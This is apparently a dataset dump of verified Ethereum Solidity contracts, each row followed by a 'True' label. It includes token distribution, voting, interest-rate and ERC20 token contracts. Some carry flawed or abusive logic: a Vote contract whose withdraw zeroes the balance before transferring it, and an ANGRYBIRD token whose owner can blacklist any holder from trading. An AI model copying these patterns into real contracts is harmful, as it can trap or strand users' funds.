_BonusTokensPerETHdonated = BonusTokensPerETHdonated;
}
function SetFreeTokens(uint256 FreeTokens) onlyOwner public {
_FreeTokens = FreeTokens;
}
function StartDistrib() public returns(bool success) {
if (msg.sender == owner && !DistribStarted && setupDone) {
DistribStarted = true;
IsDistribRunning = true;
} else {
revert();
}
return true;
}
function StopDistrib() public returns(bool success) {
if (msg.sender == owner && IsDistribRunning) {
if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
if (_remainingAmount > 0) {
balances[_remainingTokensReceiverAddress] += _remainingAmount;
_totalSupply += _remainingAmount;
Transfer(this, _remainingTokensReceiverAddress, _remainingAmount);
}
}
DistribStarted = false;
IsDistribRunning = false;
} else {
revert();
}
return true;
}
function distribution(address[] addresses, uint256 _amount) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
require(addresses.length <= 255);
require(_amount <= _remainingAmount);
_amount = _amount * 1e18;
for (uint i = 0; i < addresses.length; i++) {
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
}
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public {
uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply;
uint256 _amount;
require(addresses.length <= 255);
require(addresses.length == amounts.length);
for (uint8 i = 0; i < addresses.length; i++) {
_amount = amounts[i] * 1e18;
require(_amount <= _remainingAmount);
_CurrentDistribPublicSupply += _amount;
balances[addresses[i]] += _amount;
_totalSupply += _amount;
Transfer(this, addresses[i], _amount);
if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) {
DistribStarted = false;
IsDistribRunning = false;
}
}
}
function BurnTokens(uint256 amount) public returns(bool success) {
uint256 _amount = amount * 1e18;
if (balances[msg.sender] >= _amount) {
balances[msg.sender] -= _amount;
_totalSupply -= _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0, _amount);
} else {
revert();
}
return true;
}
function totalSupply() public constant returns(uint256 totalSupplyValue) {
return _totalSupply;
}
function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) {
return _MaxDistribPublicSupply;
}
function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) {
return _OwnerDistribSupply;
}
function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) {
return _CurrentDistribPublicSupply;
}
function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) {
return _remainingTokensReceiverAddress;
}
function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) {
return _DistribFundsReceiverAddress;
}
function Owner() public constant returns(address ownerAddress) {
return owner;
}
function SetupDone() public constant returns(bool setupDoneFlag) {
return setupDone;
}
function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) {
return IsDistribRunning;
}
function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) {
return DistribStarted;
}
function balanceOf(address _owner) public constant returns(uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool success) {
if (balances[msg.sender] >= _amount &&
_amount > 0 &&
balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) public returns(bool success) {
if (balances[_from] >= _amount &&
allowed[_from][msg.sender] >= _amount &&
_amount > 0 &&
balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) public returns(bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-19
*/
pragma solidity 0.7.0;
interface IERC20 {
function transferFrom(address _token, address _from, address _to, uint256 _value) external returns (bool success);
function transfer(address _token, address _to, uint256 _value) external returns (bool success);
}
interface ERC20 {
function allowance(address owner, address spender) external returns (uint256 amount);
function balanceOf(address account) external view returns (uint256);
}
contract Vote {
struct Voter {
uint weight;
bool voted;
}
struct Proposal {
bytes32 name;
uint voteCount;
}
address immutable auer = msg.sender;
mapping (address => Voter) voters;
Proposal[] proposals;
mapping(address => uint256) amounts;
address tokenAddress = address(0);
address transferAddress = address(0);
uint lockTime;
uint voteTime;
uint releaseTime;
uint amountMax;
constructor(){
}
function initVote(bytes32[] memory proposalNames,address tokenAdr,uint locks,uint votes,uint releases,uint amount,address transfer) public {
require(auer == msg.sender, "no author");
require(transferAddress == address(0), "have init");
require(tokenAdr != address(0), "address error");
tokenAddress = tokenAdr;
lockTime = locks;
voteTime = votes;
releaseTime = releases;
amountMax = amount;
transferAddress = transfer;
voters[auer].weight=1;
for(uint i=0;i<proposalNames.length;i++){
proposals.push(Proposal({
name:proposalNames[i],
voteCount:0
}));
}
}
function lockPosition(uint256 amount) public{
require(block.timestamp <= lockTime,"lockTime end");
require(ERC20(tokenAddress).allowance(msg.sender,transferAddress) >= amount,"approve error");
if(amounts[msg.sender]>0){
amounts[msg.sender] = amounts[msg.sender] + amount;
}else{
amounts[msg.sender] = amount;
}
if(amounts[msg.sender]>=amountMax){
if(!voters[msg.sender].voted&&voters[msg.sender].weight==0){
voters[msg.sender].weight=1;
}
}
IERC20(transferAddress).transferFrom(tokenAddress,msg.sender, transferAddress , amount);
}
function withdraw() public {
require(block.timestamp >= releaseTime,"no releaseTime");
require(amounts[msg.sender]>0,"no amount");
require(ERC20(tokenAddress).balanceOf(transferAddress) >= amounts[msg.sender],"no enough amount");
amounts[msg.sender] = 0;
voters[msg.sender].weight = 0;
IERC20(transferAddress).transfer(tokenAddress,msg.sender, amounts[msg.sender]);
}
function vote(uint proposal) public{
require(block.timestamp <= voteTime,"voteTime end");
require(proposal<proposals.length,"proposal error");
Voter memory sender = voters[msg.sender];
require(!sender.voted && sender.weight > 0, "already voted");
voters[msg.sender].voted = true;
proposals[proposal].voteCount = proposals[proposal].voteCount + sender.weight;
}
function getWinProposal() public view virtual returns(uint[] memory){
uint winCount = 0;
for(uint proposal = 0; proposal <proposals.length; proposal++){
if(winCount < proposals[proposal].voteCount){
winCount = proposals[proposal].voteCount;
}
}
uint[] memory win = new uint[](0);
if(winCount > 0){
uint len = 0;
for(uint proposal = 0; proposal <proposals.length; proposal++){
if(winCount == proposals[proposal].voteCount){
len = len + 1;
}
}
win = new uint[](len);
uint idx = 0;
for(uint proposal = 0; proposal <proposals.length; proposal++){
if(winCount == proposals[proposal].voteCount){
win[idx] = proposal;
idx = idx + 1;
}
}
}
return win;
}
function getBlockTime() public view virtual returns (uint256){
return block.timestamp;
}
function getVoteCount(uint proposal) view virtual public returns(uint){
return proposals[proposal].voteCount;
}
function getName(uint proposal) view virtual public returns(bytes32){
return proposals[proposal].name;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.6;
// Part: IBetaInterestModel
interface IBetaInterestModel {
/// @dev Returns the initial interest rate per year (times 1e18).
function initialRate() external view returns (uint);
/// @dev Returns the next interest rate for the market.
/// @param prevRate The current interest rate.
/// @param totalAvailable The current available liquidity.
/// @param totalLoan The current outstanding loan.
/// @param timePast The time past since last interest rate rebase in seconds.
function getNextInterestRate(
uint prevRate,
uint totalAvailable,
uint totalLoan,
uint timePast
) external view returns (uint);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute.
return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2);
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// File: BetaInterestModelV1.sol
contract BetaInterestModelV1 is IBetaInterestModel {
uint public immutable override initialRate;
uint public immutable minRate;
uint public immutable maxRate;
uint public immutable adjustRate; // between 0 and 1e18, the higher the more aggressive
constructor(
uint _initialRate,
uint _minRate,
uint _maxRate,
uint _adjustRate
) {
require(_minRate < _maxRate, 'constructor/bad-min-max-rate');
require(_adjustRate < 1e18, 'constructor/bad-adjust-rate');
initialRate = _initialRate;
minRate = _minRate;
maxRate = _maxRate;
adjustRate = _adjustRate;
}
/// @dev Returns the next interest rate for the market.
/// @param prevRate The current interest rate.
/// @param totalAvailable The current available liquidity.
/// @param totalLoan The current outstanding loan.
/// @param timePassed The time passed since last interest rate rebase in seconds.
/// @notice At utilization 0-50%, the interest rate will decrease at half-per-day rate
/// At utilization 50-70%, the interest rate will decrease linearly from 0 to half-per-day rate
/// At utilization 70-80%, the interest rate will stay the same.
/// At utilization 80-100%, the interest rate will increase linearly from 0 to twice-per-day rate.
function getNextInterestRate(
uint prevRate,
uint totalAvailable,
uint totalLoan,
uint timePassed
) external view override returns (uint) {
uint totalLiquidity = totalAvailable + totalLoan;
if (totalLiquidity == 0) {
return prevRate;
}
uint utilRate = (totalLoan * 1e18) / totalLiquidity;
uint cappedtimePassed = Math.min(timePassed, 1 days);
uint multRate;
if (utilRate < 0.5e18) {
// utilization 0-50%, decrease at half-per-day rate
multRate = 1e18 - (adjustRate * cappedtimePassed) / 1 days;
} else if (utilRate < 0.7e18) {
// utilization 50-70%, decrease linearly from 0 to half-per-day rate, depending on how far the utilization is from 70%
uint downScale = (0.7e18 - utilRate) * 5; // *5 is equivalent to /0.2
multRate = 1e18 - (adjustRate * downScale * cappedtimePassed) / 1 days / 1e18;
} else if (utilRate < 0.8e18) {
// utilization 70-80%, stay the same
multRate = 1e18;
} else {
// utilization 80-100%, increase linearly from 0 to twice-per-day rate, depending on how far the utilization is from 80%
uint upScale = (utilRate - 0.8e18) * 5; // *5 is equivalent to /0.2
uint upMaxRate = 1e36 / (1e18 - adjustRate) - 1e18;
multRate = 1e18 + (upMaxRate * upScale * cappedtimePassed) / 1 days / 1e18;
}
uint targetRate = (prevRate * multRate) / 1e18;
return Math.min(Math.max(targetRate, minRate), maxRate);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-30
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
contract Token {
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 10000 * 10**18;
string public name = "Nila Token";
string symbol = "NLT";
uint public decimals = 18;
event Transfer(address indexed from, address indexed too, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() {
balances[msg.sender] = totalSupply;
}
function balanceOf(address user) public view returns(uint) {
return balances[user];
}
function transfer(address to, uint value ) public returns(bool) {
require(balanceOf(msg.sender)>= value, "Balance too low");
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns(bool) {
require(balanceOf(from) >= value, "balance too low");
require(allowance[from][msg.sender] >= value, "allowance too low");
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns(bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
pragma solidity ^0.8.0;
contract test123456 {
event SentMessage(bytes message);
function callMe() public {
emit SentMessage("werty");
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
/*
t.me/angrybirdinu
angrybirdinu.com
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ANGRYBIRD";
string private constant _symbol = "AB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x0c799De814b8C0E0dc4591FBbe88cc82FB0BfDB3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2e6 * 10**9;
_maxWalletSize = 4e6 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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/**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
// ----------------------------------------------------------------------------
// WJ6 Contract
// Name : WJ6
// Symbol : WJ6
// Decimals : 18
// InitialSupply : 6,000,000 WJ6
// ----------------------------------------------------------------------------
pragma solidity 0.5.8;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address owner, uint256 value) internal {
require(owner != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[owner] = _balances[owner].sub(value);
emit Transfer(owner, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address owner, uint256 amount) internal {
_burn(owner, amount);
_approve(owner, msg.sender, _allowances[owner][msg.sender].sub(amount));
}
}
contract WJ6 is ERC20 {
string public constant name = "WJ6";
string public constant symbol = "WJ6";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 6000000 * (10 ** uint256(decimals));
constructor() public {
super._mint(msg.sender, initialSupply);
owner = msg.sender;
}
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
modifier onlyOwner() {
require(msg.sender == owner, "Not owner");
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Already Owner");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function transfer(
address _to,
uint256 _value
)
public
returns (bool)
{
releaseLock(msg.sender);
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
releaseLock(_from);
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public onlyOwner {
require(_value <= super.balanceOf(owner), "Balance is too small.");
_burn(owner, _value);
emit Burn(owner, _value);
}
struct LockInfo {
uint256 releaseTime;
uint256 balance;
}
mapping(address => LockInfo[]) internal lockInfo;
event Lock(address indexed holder, uint256 value, uint256 releaseTime);
event Unlock(address indexed holder, uint256 value);
function balanceOf(address _holder) public view returns (uint256 balance) {
uint256 lockedBalance = 0;
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
lockedBalance = lockedBalance.add(lockInfo[_holder][i].balance);
}
return super.balanceOf(_holder).add(lockedBalance);
}
function releaseLock(address _holder) internal {
for(uint256 i = 0; i < lockInfo[_holder].length ; i++ ) {
if (lockInfo[_holder][i].releaseTime <= now) {
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
i--;
}
lockInfo[_holder].length--;
}
}
}
function lockCount(address _holder) public view returns (uint256) {
return lockInfo[_holder].length;
}
function lockState(address _holder, uint256 _idx) public view returns (uint256, uint256) {
return (lockInfo[_holder][_idx].releaseTime, lockInfo[_holder][_idx].balance);
}
function lock(address _holder, uint256 _amount, uint256 _releaseTime) public onlyOwner {
require(super.balanceOf(_holder) >= _amount, "Balance is too small.");
require(block.timestamp <= _releaseTime, "TokenTimelock: release time is before current time");
_balances[_holder] = _balances[_holder].sub(_amount);
lockInfo[_holder].push(
LockInfo(_releaseTime, _amount)
);
emit Lock(_holder, _amount, _releaseTime);
}
function unlock(address _holder, uint256 i) public onlyOwner {
require(i < lockInfo[_holder].length, "No lock information.");
_balances[_holder] = _balances[_holder].add(lockInfo[_holder][i].balance);
emit Unlock(_holder, lockInfo[_holder][i].balance);
lockInfo[_holder][i].balance = 0;
if (i != lockInfo[_holder].length - 1) {
lockInfo[_holder][i] = lockInfo[_holder][lockInfo[_holder].length - 1];
}
lockInfo[_holder].length--;
}
function transferWithLock(address _to, uint256 _value, uint256 _releaseTime) public onlyOwner returns (bool) {
require(_to != address(0), "wrong address");
require(_value <= super.balanceOf(owner), "Not enough balance");
require(block.timestamp <= _releaseTime, "TokenTimelock: release time is before current time");
_balances[owner] = _balances[owner].sub(_value);
lockInfo[_to].push(
LockInfo(_releaseTime, _value)
);
emit Transfer(owner, _to, _value);
emit Lock(_to, _value, _releaseTime);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/**
*/
/**
▄▄ ▄▄
